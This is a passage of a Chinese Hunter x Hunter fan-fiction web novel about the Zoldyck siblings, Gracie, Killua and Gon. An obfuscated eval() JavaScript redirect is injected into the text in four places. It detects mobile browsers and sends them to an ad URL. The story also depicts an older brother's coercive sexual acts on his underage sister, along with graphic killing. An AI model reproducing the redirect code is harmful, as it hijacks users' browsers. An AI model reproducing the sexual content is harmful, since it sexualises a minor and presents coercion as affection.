倒也不是说零会为了侠客守身如玉，他们本来就没有确定关系，只是库洛洛真不怕侠客一时半会想不通，跟他闹掰？男人，想什么她都不知道。零觉得自己或许应该出去换换口味，多尝试几个男人，比如之前追求她的几个猎人……想到这里她被库洛洛拉回注意力，自暴自弃的配合起了动作。 能不能睡点素的，好烦啊。 明天再给零洛打电话确认一下吧……零如是想到。 零洛睡到日上三竿，零比她睡得久，毕竟真枪实弹的好几个小时，全身都碾压碎了一边似的，两个人对了一遍现如今的流程，零洛只能赞叹零她真是为了这件事，鞠躬尽瘁，死而后已。零有点无语，你家那俩男地对你好又不是对我好，我不鞠躬尽瘁就是我的孩子们死而后已了。 “克雷诺德家族已经全乱套了，他们现如今焦头烂额，肯定没……唔、你别突然发疯。” 零说话的声音一顿，压不住的火气蹭一下上来了，哪怕压低了声音，零洛都觉得她下一秒要起来干架了。库洛洛的声音很模糊，压得很低，说了什么零洛也听不清，但是现在这手机烫手得很，她可没兴趣听实况转播！ 她立刻挂断电话，头皮发麻。 成年人的世界，恐怖如斯。 克雷诺德家族最近忙于据点，零洛就出门去捣毁他们的赚钱窝点，和潜伏的猎人里应外合，一条一条拔，拔得干脆利落。等到他和念能力者打得有来有回之后，小杰已经和西索打了一架，等到他能把对方念能力者压着打时，华石斗郎和西索的战斗都结束了。 零洛的卡里又消失了五千万。 格蕾西打电话来的时候哭得够呛，根本说不出完整的话，零洛回去后才知道，华石斗郎差点一命呜呼，西索跟疯了一样差点把他切碎，包饺子，还好格蕾西请的帮手缝合能力超群，本来一个亿绝对够用，西索切的比较……所以又多收了五千万。目前华石斗郎是保住了一条命，躺在病院里接受治疗。 格蕾西哭得直抽抽：“我都跟他说了不能练具现化系，他怎么就不听呢！” 零洛安抚她，一下一下顺毛安抚。 人活着就是最好的了……只不过， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090363|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华石斗郎花了格蕾西一亿五千万啊。零洛心里的小算盘开始打了，买他十年应该够了，这十年就让他陪着格蕾西，不论做什么都要陪着，这样就能够还清楚这一亿五千万。如果格蕾西喜欢的话，自己也能施加一点压力…… 她仔细思考着，要怎么说才能让华石斗郎更加愧疚。 没错，她要杀了格蕾西的哥哥，就要给她找一个新的哥哥。这样格蕾西就会更开心一点，华石斗郎的生命延续下去才有价值。至于这个哥哥是真要做哥哥还是别的什么，都是看格蕾西本人的想法。 格蕾西不清楚伊洛林在想什么，但是她觉得脊背一凉。 “怎么了？” 零洛蹭蹭她：“不用担心，我打电话回去了，爷爷说可以让揍敌客家的医疗队来帮忙。” “真的吗？”格蕾西抽噎着：“太好了，太好了……” 零洛收敛了笑容。 华石斗郎，很重要吗……应该，不会重要过我吧？没关系的，深呼吸，他在格蕾西心里肯定、也绝对不会超过我的，所以我应该好好地留着他，让他逗格蕾西开心。但是，如果格蕾西觉得他特别重要的话要怎么办…不行，不会有这种事的，不会的。就算很重要又怎么样呢，只是比较重要而已。 她努力平稳呼吸，把脑子里一波又一波的想法努力压下去。 格蕾西喜欢才是最重要的。 格蕾西，喜欢，才是，最重要的。 安抚了格蕾西半天，奇犽脸臭得不行站在一旁盯着，直到格蕾西被哄回去睡觉，他才不情不愿走过来坐在零洛的边上，和他一起看着病房的门。 “哥哥。”零洛突然开口。 “嗯？” “格蕾西喜欢年纪大的。现在的哥哥还不是她喜欢的类型。” 奇犽悲痛地捂住脸，好了，你别说了，你哥我只是对她有一点点好感而已，还没到那个程度，谁家好人十二岁就谈恋爱啊，你以为我是大哥吗？可零洛转过头看他，眼睛明晃晃的都是笑意：“如果哥哥想要，我会教你，怎么样做格蕾西会喜欢你多一点。怎么样，哥哥要学吗。” “……学。” 奇犽非常诚实地顺从了内心。 “不过，我怎么觉得你完全融入女生的性格里了。”奇犽还是觉得有点疑惑，哪怕是柯特，他都没有这么女性的举动。零洛一想，突然意识到好像奇犽确实不知道自己应该是女性这件事，不过……也不知道能不能恢复，总而言之还是先不说比较好。 “角色扮演，怎么样？” “就当多了个妹妹。” 奇犽揉揉零洛的头发。 “不需要再蓝色头发了吗？” “需要呀，偶尔是需要的。”零洛托腮，侧头望着奇犽：“哥哥之后要去哪里？还剩一点时间，不然一起去玩吧？” “好啊。问问小杰？” “好，我们一起去！” 我们四个人，一起去吧。 在我彻底变成刽子手之前，最后一次。 72.订阅馈赠 如果伊洛林是一只猫。 如果她是一只猫，那么她的喜怒哀乐，将一览无余。 所以伊洛林变成了一只猫。 当然，从外观来看没有任何的区别，她并没有生出耳朵，也没有能表达心情的尾巴，她只是注视着揍敌客家传讯的鹰，蓄势待发，而后……一口咬住了它毛茸茸的脖子，把这只鹰咬死在了嘴下，干脆利落，且自得意满。 管家迅速从暗处出现，一个个地企图他们分离。 她叼着鹰不撒嘴，任凭管家怎么劝说，鹰的血滴滴答答落满了衣服，伊洛林还是不愿意松开。她觉得自己很厉害，巡视领地一样叼着鹰在家里跑，四脚着地，迅雷不及掩耳之势将管家甩在了脑后。管家们彼此通讯，终于将伊洛林堵在了大门口。 伊洛林的嗓子里溢出危险的低吼声。 仔细看，瞳孔已经变成了竖瞳，像是野兽一样充满疯狂。 “……伊洛林？” 佣人们的救世主终于出现，伊尔迷从旋转扶梯上慢慢走下，伊洛林看见他的一瞬间挺起了上半身，目光闪闪发亮，伊尔迷走过去时她还趾高气扬地抬了抬头，而伊尔迷沉吟片刻，伸出手摸了摸伊洛林的发顶：“乖，松嘴。” 那只可怜的鹰已经被咬断了喉咙，死得不能再死，血迹让整条走廊都有些莫名的味道，管家正在清理。它的尸体被带走，下场应该是喂三毛。 “为什么要杀掉家里的鹰？” 伊尔迷耐心用拇指轻轻蹭过伊洛林的唇角，那抹猩红就像是为她染了唇色一般，艳而妖异。伊洛林眨了眨眼，歪了歪头，似乎是觉得伊尔迷在追究这件事，于是装作很忙地拨弄起伊尔迷胸口的针球，伊尔迷等了几秒钟，伊洛林依旧不说话。 妹妹个子矮矮，头只到胸口，伊尔迷捏着她的下巴强迫她看自己，柔软的黑发搭在妹妹的肩膀上。 伊洛林本身天生一副逆来顺受的模样，现如今竖瞳与红唇生生将模样扭转，搭配那颗泪痣，漂亮又诱惑。伊尔迷冷静注视着这张脸，感受到那双眼里刻意表现出的无辜，他微微一捏这尖尖的下巴，伊洛林便像是要露出獠牙一般凶狠地掀了掀嘴皮子，发出了低吼声。 “说话。” “……喵……”回应他的是清晰的低吼。 伊尔迷像是突然明白了什么，昨天在监控里，亚路嘉对伊洛林说的最后一句话确实是——“明天你要做一天的猫” 啊，真伤脑筋啊。 伊尔迷改为摸摸伊洛林小猫的发顶。这下小猫觉得你不和她计较了，立刻蹬鼻子上脸的眼睛亮晶晶起来，三下两下蹦跶到伊尔迷怀里坐在他胳膊上，搂着伊尔迷的脖子。此刻她背后如果有尾巴，一定是晃来晃去，毕竟这无意间就体现出一件事，那就是伊洛林喜欢伊尔迷。还是很喜欢。 这事根本瞒不过家里人，不过两个小时，伊尔迷在陪着伊洛林玩的时候，门口就迎来了散步的爹，路过的妈，溜达的爷爷和没找好借口的二弟。 伊尔迷此刻正捏着一根逗猫棒。 他啪啪啪甩来甩去，伊洛林上扑下摁左右扑腾，一双眼睛盯着逗猫棒，人都扑出残影了，还是没能扑到，门口人头攒动，越来越多人。伊尔迷站起来加大力度，上下左右，范围从两米变成整个房间，伊洛林根本不在乎房间的陈设，噼里啪啦一顿响之后，柜子倒了地板上都是桌椅板凳的碎片，这么大一声响反而把自己吓得不轻，直接钻进了角落的桌子下。 咔嚓，不知道谁先拍了第一张照片。 柯特不知道，反正柯特在录像。爸爸妈妈心真大，也不找个家庭医生来看看。他如是想到。 “伊洛林，出来。” 伊尔迷伸手，打算把妹妹捞出来，但伊洛林受到惊吓，头发都要竖起来了，下意识朝着伊尔迷凶狠龇牙，幻视两秒飞机耳之后，伊尔迷也目露凶光，念压直接压了过去。 伊洛林安静了，乖乖地一点一点挪出来。 猫是懂害怕的好猫。 乖乖地继续被伊尔迷抱在怀里顺毛，喉咙里发出咕噜咕噜的声音，而后睡过去。 她睡得开心，蜷缩起来长发垂落在腰侧，任凭拍照声连续不断，她也没醒，咂咂嘴不知道在吃什么似的，刚刚的血已经被伊尔迷强制性清理，连衣服都换了一身，现如今她就是一只干干净净的好猫。虽然把伊洛林摁下去洗澡，她死活不同意，连抓带挠叫声凄厉，让人还以为伊尔迷把她怎么了，不过如果伊尔迷把她怎么了，应该不是这种惨绝人寰的悲鸣了。 吹干头发时伊洛林一直在挑手背，努力把自己手上的水弄干，prpr到伊尔迷身上去，左尝尝味，右呸呸呸，因为舔到头发了，差点给她嘴里塞满头发。 伊洛林也算是度过了一个不错的下午。 她醒来时伸懒腰，心满意足地甩甩手，来围观的家人已经散场，每个人都得到了自己想要的东西。她看见一旁也在闭目养神的伊尔迷，好奇地凑过去，轻轻嗅一嗅他的唇瓣，再嗅一嗅他死了没……伊尔迷伸手就把猫扣怀里了，抬手就是一套丝滑小连招，手指挠着伊洛林下颚，惹得伊洛林瞬间沉沦发出舒服的声音，嘴里喵喵着压低了声音，整个人都软在伊尔迷怀里。 “伊洛林？” 伊洛林哼哼两声，她睡了一觉起来，还倦懒着，领口也大敞开着，你总不能奢望一只猫维持基本的体面，因此伊尔迷看什么都一清二楚。刚刚洗澡的时候虽然感受过手感，不过这种事情，只有第一次和无数次，满足一瞬间和满足无数个瞬间，伊尔迷很理直气壮地认为，伊洛林现在怎么样都是他可以决定的事情。 伊洛林贴在伊尔迷怀里，扭来扭去。 这可不怪她，衣服下面有只手，怎么扭都不拿出去，伊洛林脾气又上来了，张嘴就咬住了他的肩膀，可不论怎么咬，伊尔迷就是手掌滚烫，哪哪儿都怪怪的。她呼噜呼噜地让喉咙发出不满意的声音，又转了好几个音，伊尔迷哄着她，手指摁着肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091289|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子顺势往下方压，伊洛林挣扎了两下，泄了气。她发抖着陷在伊尔迷的怀里，呼吸频率不断增快，她抽噎起来，发出一些细碎的声音也像在哭。 反反复复折腾了一个多小时，伊洛林终于不干了，挣扎踢腿着要伊尔迷把手抽出去，可伊尔迷不停下，低头凑过去，于是她未出口的咕噜声都被吞进伊尔迷的肚子里去。这大概是越挣扎越过分，又硬生生多陪着玩了半个多小时，才逐渐被放过。 小猫耷拉着脑袋，累得慌。 伊尔迷叹息，才用手指就这么折腾，再过两年岂不是要和自己对着干了？ 伊洛林看见伊尔迷又凑过来，要是有毛都要炸开，可是偏偏他又什么都没做，只是和他对视，伊尔迷的眼睛如同漩涡，深深地能够把人吸引进去，深不见底那么可怕。伊洛林却是不怕，只是眨着眼睛，突兀伸出舌头，慢慢蹭了一下伊尔迷的唇角。 尝尝味道。 伊尔迷缓缓笑了，他笑起来向来吓死人不偿命，可伊洛林从来没办法察觉，更别提她现在只是一只猫。猫猫连吃饭都要学着用后牙齿嚼，伊尔迷喂什么，她吃什么，晚上也很乖地在伊尔迷怀里看电视，看得聚精会神。 伊尔迷觉得除了伊洛林不太叫，别的也没什么问题。 “伊洛林？” 伊洛林歪了歪脑袋。 “伊洛林？” “……喵？” 伊尔迷觉得有趣，反反复复玩了一阵子，才揉着明显烦起来的小猫发顶安抚。 伊洛林醒来时全身酸痛，她怀疑自己昨晚上梦游出去和三毛打架，爬起来的时候才发现自己穿的只是一条裙子，里头什么也没有，她瞬间回神打算翻个身，两腿一软就又趴了下去。什么东西……她心里震惊，身侧的人就把她拉进怀里，自来熟的跟回家了一样，摸进了家门口。 伊洛林剧烈挣扎，而伊尔迷则拿出了手机给她播放一段录像。 录像简直不堪入目，她不会说话，只会喵喵，是看得人心皇皇的剧情。伊洛林傻了眼，她不是很清楚，自己怎么会这样，可伊尔迷只是愉悦地放下手机，再度压了下去。 “哥哥很喜欢你那个状态，但是现在的状态也喜欢……” 伊尔迷笑着，咬住她喉咙。 伊洛林晚上才从房间里出来，本就两股战战，往家族群里一看，自己追逗猫棒的视频，照片，已经满天飞了，不在家的奇犽发出了五个问号，并且下载了照片。 伊洛林觉得自己性格离开揍敌客家，这辈子都不要回来了，因为她的脸都丢光了！！ 但是这件事应该不是亚路嘉，亚路嘉无法操控别人才对。 所以这是为什么。 伊洛林打开手机，看了一眼短信。 “……感谢200订阅？什么啊，O江O学城吗……” 不行，可恶的大哥，下嘴太重了，好痛，要走不了路了……下次还是，还是踹他的脸吧。伊洛林如是想到。 73.67 零洛微微抬了抬眼皮，奇犽也挪了挪视线。 漆黑走廊里，似有若无的气息正在传递，奇犽长叹一声，觉得有点可笑。 “明明我才是暗杀家族里出来的人吧？” “大概是冲着我来的。” 零洛起身，拍了拍裤子，他维持着微微侧身的状态低头看向一动不动的奇犽：“哥哥，我想喝柠檬水了。”但是奇犽可没听话，他只是缓慢看向黑暗，露出个似笑非笑的表情来：“柠檬水啊，待会儿哥哥带着你去喝。” 这就是要分一半的意思了。 零洛让他先走，他不愿意，哪里有哥哥看着弟弟被围攻，自己却悠哉在外面等待的道理？ 所以他要分走一半的敌人。 幽长的走廊内气氛压抑，白发少年与黑发少年侧身而立，他们年纪并不大，面对着隐约的压迫却半点不虚，如出一辙的神情，是十二年并肩的默契。 “要赢了哥哥，哥哥还附赠你一块小蛋糕。” “明明是哥哥嘴馋了。” “嗯——那，开始。” 瞬间，二人消失在原地。 黑暗中传来惊呼与痛苦的惨叫声，房间里，华石斗郎像是将醒一般睫毛微微颤动，他听见了更惨痛的叫声，兵荒马乱一般凄厉如同遭受巨大的折磨，伴随着□□的撕裂声，肉块碾碎在掌心的声音，他从黑暗里终于挣脱。睁开双眼的那一刻世界是虚幻的，华石斗郎又听见了求饶声，在寂静的背景音下显得尤其明显，他疑惑这里是否是地狱，才能听见这样痛不欲生的悲鸣，下一刻，万籁俱寂。 咕—— 是手从□□里拔出来的声音。 啾—— 是肉块掉在地板上黏稠的声音。 模糊的视线里，门被轻轻打开了，映入眼帘的是两张并不相同的脸，只不过他对这二人十分眼熟，奇犽与零洛微微抬起下巴，他们像是正居高临下判断着华石斗郎的性命是否该留存一般。他们的脸上溅有血迹，手指上滴滴答答落下更为黏稠的液体，奇犽的手指轻轻一动，随即零洛的手指便勾了上来。 “哥哥，不可以哦。” “……啊，我知道的。” 奇犽冷笑着缓缓合上门，带走了阴沉而狠辣的威压。 华石斗郎重新闭上眼睛，想到零洛的眼神，不由自主地在心里叹气。格蕾西知道吗？原本以为格蕾西找到了一个温柔的朋友，没想到杀性这么大，奇犽也是……不行，还是得问问格蕾西的想法。 但是…自己为什么，还活着呢？ 他体力不支，又沉沉睡去了。 十分钟后，天空竞技场十字街口，甜品店。 一杯无糖柠檬水，一杯满糖甜柠茶，两块蛋糕放在了桌面上，奇犽用叉子插起来，嗷呜一大口，甜到嗓子眼的感觉令他身心舒畅。零洛正描述着自己与格蕾西之前的事情，格蕾西特别喜欢吃甜食，于是又一次就给了零洛一块糕点，要她尝尝，零洛是不太吃甜食的人，慢吞吞吃完了糕点就告诉格蕾西，不甜啊，哪里甜了。 然后零洛就把面前的水一饮而尽。 奇犽被逗笑，乐不可支地提起曾经，伊尔迷会给他买甜食，却很少给零洛买，零洛的甜食也总是会分给奇犽，他们的零食里，咸味的零洛还能多吃两口，甜的零洛就很少碰。零洛那边吃不下饭，大家看着干着急，好歹是喝难喝得要死的饮料维持了身体所需，奇犽就拿巧克力糖球去给零洛，被伊尔迷拦下来还觉得伊尔迷太过分，后来偷摸成功了一次，结果零洛吐得胆汁都出来了。 “……那些事都过去了！”意识到奇犽实际上是在后悔，零洛赶紧拉着他的手晃一晃：“哥哥是为了我好，想要把喜欢的东西都给我，是我那个时候太脆弱了。” 奇犽轻轻摇头。 “有时候我很庆幸你有格蕾西，有时候又不知道……这样好不好。因为她不在的时候，你心里好像想着很多事情，不肯说，也不肯做，她在的时候……” 她在的时候就好像所有的桎梏都已经全部消失。 你甚至能面不改色地说出更加残忍的话了。 “……伊洛林，我还会有机会这么称呼你吗？” 零洛的心缓缓沉下去，但她还是笑着点头，回答得干脆利落：“当然啊，你永远是我哥哥，一辈子都是。”好敏锐，已经被奇犽发现的话，那家里说不定也已经猜到了，这么放纵的话，估计也是清楚或许留不住也能够另寻他法。 他会更舍不得离开的。 揍敌客家果然擅长使用各种各样的办法嘛，这点都想到的话也太可怕了……等下，那岂不是伊尔迷也是揣着明白装糊涂？零洛后知后觉，大腿上靠内侧的地方被咬疼的感觉还很清晰，更别提是更里头一点，她颤抖了一下手，脸控制不住地热起来。 这就是伊尔迷急功近利非要利息的原因？ 那也不能把她往死里折腾。 正在执行任务的伊尔迷突兀听见自己的手机振动声，他随手杀完人往回走，点开了通讯，零洛的信息一下子十几条，他打开一看，满屏幕都写着变态。 他微不可察勾唇，舌尖润湿唇面，仿佛又想起来那天的盛宴。 “不是说好不生哥哥气了吗？” 零洛狠狠地敲键盘：“那天是那天，今天是今天！” 奇犽隔着冰柠茶，赞叹了一下零洛身上的气势，感觉她想和大哥玩心眼子这种事真是越看越新鲜。他想起格蕾西，她哭着让那个女人救救华石斗郎，奇犽又一下子不太高兴了，刚刚在想要不要杀掉算了，但是零洛提醒了他，那样格蕾西会生气的。那……要不然自己也学学零洛？ 伊尔迷分了个心，一边去下一个任务地点，一边回复零洛为数不多的主动。 “那哥哥今天要怎么赔罪？” “十八岁之前不准再碰我！” “不可能的。”伊尔迷愉悦敲击键盘：“哥哥对你的忍耐力可没有那么多。” 要是下手慢了，这场就输了先手。 零倒是提醒他了，强化系撒谎是没人怀疑的，因为所有人都会觉得强化系不会撒谎。如果零洛撒谎了，那她绝对就是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095836|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了一半的真话，所以零洛真的会留在揍敌客家吗？伊尔迷不会赌这个概率，他只会先把想要地拿到手，仅此而已。 “哥哥要你。” “全部都要。” 零洛再次确定了一件事，就是伊尔迷是个疯的，他才不会管自己多少岁，现如今还硬撑着是因为不想把自己吓得太厉害，但这又有什么分别呢？她彻底没了脾气，费尽心思想办法，最终也只能干巴巴地回了个不理你了，就直接把手机合上。 这和调情的区别在哪里，伊尔迷可没看出来。 零洛总是下意识撒娇，下意识和他调情，但是又自己看不出来，没那个意识，她主动过来调情的时候，笨拙又努力，可爱加倍。伊尔迷喜欢她在自己身上磨功夫，也喜欢她的心眼子，她努力想要跟自己对局，又下意识耍小性子。 她被自己宠着纵着，还不清楚这件事。 伊尔迷慢吞吞回复了最后一句：“你永远都是哥哥的。” 对，这样才对。 她永远都是家里的人，不论是男是女，是林洛还是伊洛林还是零洛，不论是不是这个世界的人，她都得是揍敌客家的人。 她到底出自哪里，并不重要，重要的是，她得在这。 复仇的理由，一半是因为格蕾西，另一半不纯粹就是因为揍敌客吗。零洛的想法，还真是好懂，毕竟这想法，不是说什么就是什么的，哪怕只是因为格蕾西而顺带，也不会改变本质上的理由。 她嘴上说不是，心里说不是，那就真不是了吗？ 如果不是要维护揍敌客家，何苦兜这么大一圈，哪怕把幻影旅团都扯上也要继续？ 查不出来的东西，就是没有，查出来的东西，就是真的。 零洛狠狠喝光了柠檬水，两个人结伴回去，在门口听见格蕾西的声音时，下意识一起使用了杀手隐匿身法的能力，屏住呼吸，倾听她们谈话。 华石斗郎正在感谢格蕾西出手相救。 “因为你曾经帮过我，我也会帮你。”格蕾西勉强一笑，她知道自己和华石斗郎年纪和性格都差太多，而且也没什么可能，倒不如从一开始就别开始，毕竟格蕾西对于另一半的要求很高，她对华石斗郎的好感度高，对方却不能达成的话，那她会更加难受的。 “格蕾西你，和零洛……关系很好吗？” 格蕾西微微一愣，不清楚华石斗郎为什么要说这个：“当然啊，她是我最重要的人，非常非常重要的那种。我可以为了她，和全世界对着干。” “……这样啊。” 华石斗郎并不想说零洛不好的地方，但他很好奇，在格蕾西眼里，零洛究竟是怎样的一个人。他这么想，也这么问，格蕾西坐在椅子上，表情很复杂。 “我不知道怎么和你说，她身上发生过很多事，也经历过很多，但她不论如何都是一个用尽全力对我好的人，这世界上能够不计较任何，一秒钟都不犹豫奔向我的人只有她，所以，我也会这样对她。她在我眼里，就是世界第一好的人！” 这一点，从未改变。 74.68 华石斗郎最终还是什么都没说。 他总觉得这言下之意是警告，警告他嘴里有什么话也不需要说出口，吞进肚子里去。不论他说什么，格蕾西都不会觉得零洛有问题，反而会觉得说出来的这个人很有问题。 一般人说就说了，大不了抽他两巴掌泄泄愤，但如果是华石斗郎说，那么格蕾西就会觉得失望了。她不喜欢为别人做决定，也不喜欢别人为她做决定，打着为她好的名号也不行，她就是这种油盐不进的女人。 华石斗郎闭嘴了，他承受了恩惠，现在乖乖听话也没什么。格蕾西陪着他坐了一阵子，门口便传来敲门声，零洛站在那，弯眸浅笑：“格蕾西，我回来了，给你带了杯奶茶。” 全糖，少冰，加珍珠。 格蕾西接了奶茶，望了一眼她身后：“奇犽没跟你在一起吗？他去哪儿了。” “去找小杰了，说是云古找他们有话说。” 零洛说着从身侧袋子里掏出一沓纸来，已经装订成册，在手上拍了拍才递给华石斗郎：“你看一眼，你的治疗费用，一亿五千万，另外是某不知名医疗团队的价格，八千万，一共就是两亿三千万，看在你是格蕾西熟人的份上为你减掉五十万戒尼，你现在的负债是两亿两千九百五十万戒尼。” 她说话真是越来越揍敌客了。 华石斗郎沉默，华石斗郎欲言又止，他知道自己可能欠了点钱，但是怎么这么多？！ 华石斗郎沉迷打架已久，在天空竞技场，两百层以上是没有钱的，但是有买谁输赢，所以华石斗郎靠买自己赢也有不菲的积蓄，但这个不菲只是针对普通人而言。 零洛已经被养的买东西不看价格，卡里的钱能被存下来也是她有目标，且物欲低。 “虽说我的钱就是格蕾西的钱，但是一下子花了这么多，咱们还是要算算账的。” 零洛说得坦然。 什么某不知名医疗团队，那是揍敌客家专业医疗队，给格蕾西打了五折，剩下八千万的治疗费，华石斗郎伤养好之后不会剩下多少后遗症，能力也会有从前的十分之八，后续再进步也不是不可能。天底下哪里有这么好的事情，被人帮了不需要回馈呢，格蕾西可能觉得不需要，但零洛一早就说了，这是需要付出代价的。 否则华石斗郎自己也心里过意不去。 他要是心里过意不去，就是格蕾西看错人了。 格蕾西反驳不了这个观点，是这个意思没错，华石斗郎肯定不会就这么接受自己被救了而不需要任何回报。 华石斗郎没怎么看这一堆的纸，他瞄了一眼，写的都是怎么治疗，花费几个，估计就是明细之类的，他虚弱地笑了笑：“多谢你们，格蕾西，还有零洛……我会偿还清楚债务的。” 零洛满意点点头。 “那你就在最后签名摁手印吧。” 华石斗郎没想法，直接签名摁手印，但是无意中瞄了一眼，慢慢读出了声音：“……聘为，揍敌客编外管家，专门负责格蕾西小姐的所有事宜。” 揍敌客家，格蕾西小姐。 揍敌客……格蕾西……格蕾西不是西索的妹妹吗？什么时候改姓揍敌客了？如果他没记错的话，揍敌客可是巴托奇亚共和国鼎鼎有名的杀手家族。 格蕾西指了指自己，愣愣地看向微笑的零洛。 零洛平静点头，说起来你不信，其实我要和西索抢妹妹。 “从今天开始，你就在这里好好养伤，会有人来接你回去，给你最优质的训练计划，训练成功之后，你要做的事情也会有人来告诉你。”零洛收回那页签了名字的纸张，附带有念力的纸，一旦签下就拥有了约束能力，她将信纸叠好放进怀里：“我和格蕾西还有事情要做，很快就会离开，你有别的问题要问吗？” 华石斗郎想了半天，摇摇头。 “你们的事情，应该不太安全，我会努力恢复，尽快赶来帮助你们。” 还有很多事，他要好好想一想。 格蕾西也知道，到了该分别的时候了，她纵然有些舍不得，但情绪还是好好隐藏起来，她们和华石斗郎告别，去找云古看看奇犽小杰他们在哪里。夕阳余晖落在她们身上，两个少年显然也听完了他们的教诲，在分别之前，云古单独找零洛说了说话。 “我为之前的误解向你道歉，伊洛林。” 这句话证明，云古已经知道她是谁，她的身份，她的目标。 “你的前路还很长，不要让自己陷于漩涡之中，我看得出来，你还有很多秘密藏在身上，若是以后有困难，也尝试着依赖格蕾西以外的人吧。” 零洛点点头，她对云古很有好感，感觉像个大哥哥。 因此她毫无芥蒂，甚至轻轻抱了抱云古，不过下一秒就被格蕾西扯回来。 “男女授受不亲哈！” 云古无奈浅笑，藏起那点小小的心乱。 “小杰，奇犽，零洛，格蕾西，祝你们，一路平安。” 等他们收拾好东西再出来，天色已经黑了，离友客鑫还有一个月，他们的决定一下之后去哪里。 小杰有点害羞，开口询问他们，要不要和自己回家，去他的家里做客？虽然他家和揍敌客家是不能比的，不过还是算是个山清水秀的好地方嘛……奇犽听了自然是感兴趣，格蕾西也觉得旅旅游是个不错的选择，只不过零洛身上缠这事，能不能去还不一定。 小杰有些期待的目光落在零洛身上。 他不靠近，也不会靠近，只是远远地看着，或许就已经足够了。 零洛想了想，点点头。 “我安排一下就好，吃了饭再买张票，到时候去飞艇上再休息？你们的证件都给我吧。” 零洛挑起了大梁。 他们恰好会经过一条小吃街，就在街上买点东西吃了当晚餐。小杰本也打算喊奇犽买点什么，但奇犽老神在在，一副稳操胜券的模样：“你等着吧，等下你就吃不完了。” 小杰疑惑，但是小杰不说。 半个小时以后，小杰怀里抱着手上拎着，身旁跟着差不多的奇犽，两个女孩在前面买，两个男孩跟在后面任劳任怨。奇犽就知道会变成这样，冲着小杰挑起眉头，意思是，你看吧，我就说。 女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099893|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子出去逛街不丢点零嘴给后头的人，怎么可能。 他大哥都得乖乖吃掉零洛吃不完的东西，他也是有样学样。 只不过这两个人也买得太多了吧？ 后头的两个人怎么想也想不通，零洛却是知道怎么回事，格蕾西就是想让小杰帮她拿东西而已，说不懂小杰是怎么入她的眼睛的，不过确实是个好孩子……人也很好，一个小愣头青，考试的时候也多有照顾。能来家里找奇犽，也是他的勇气所在，所以零洛对小杰是好感度很高的。 只是不知道为什么，她和小杰看起来也是最生疏的。 但是格蕾西，为了小杰的命着想，还是别难为这个十二岁的小孩了吧？ 毕竟她还在偷吃伊尔迷，不对，是伊尔迷偷吃她。 终于掐着八点准时上了飞艇，四个人一间超级贵宾室，没有用猎人执照，而是花的钱，对零洛来说这点钱什么也不算，格蕾西也花习惯了，奇犽本身就是个大少爷，只有小杰一个人在感叹城里人真有钱，我们农村的不太懂。 坐了飞艇，又坐了船，四个小孩在船上跑来跑去。 今天看这个，明天看那个，没一个是晕船的，零洛也下厨了两次露了几手，奇犽还是第一次吃她做的饭，连声赞叹怎么就只有大哥有那个福气。他是知道伊尔迷院子里自带小厨房的，为的就是方便他任务结束随时吃点东西，一想到还有零洛能够给他煮东西吃，就觉得真是嫉妒啊！ 格蕾西翻了个白眼：“大半夜喊人起来做饭，不嫌折腾！” “没事，我也睡不着。”零洛夹了块肉给格蕾西：“等大哥回来了，我也差不多能睡了。” “他是不是给你下蛊了？那种离开他你会睡不着的蛊？” “怎么可能啦……” 零洛无奈。 而且离开家里之后她每天都和格蕾西在一起睡觉，睡眠质量好很多了，真是奇怪。 又是经过几天的船上生活，他们终于到达了鲸鱼岛。 从船上跳下去之后，船长给了他们每个人一个苹果，他们挥手告别后，小杰说还要走一整天才能到家里，本来自己的话，有这个苹果足够了，因为还带着零洛和格蕾西，建议在这里先买点吃的。 之前的那些他们都吃完了。 零洛买了点面包牛奶放在包里，包就让奇犽拿着，四个人像春游一样，晃晃悠悠向小杰家里走去。这里的房子很奇怪，像是和树长在了一起，人与自然和谐共处的感觉，零洛有些犹豫不定，她不太想往里头走了。 那是一种刻在灵魂里的，畏惧。 